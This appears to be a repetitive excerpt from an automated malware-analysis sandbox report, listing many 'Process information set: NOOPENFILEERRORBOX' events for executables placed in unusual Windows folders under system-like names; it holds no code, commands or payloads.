Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ServerWinRuntimeBroker\chainPorthostCommon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\conhost.exe	Process information set: NOOPENFILEERRORBOX
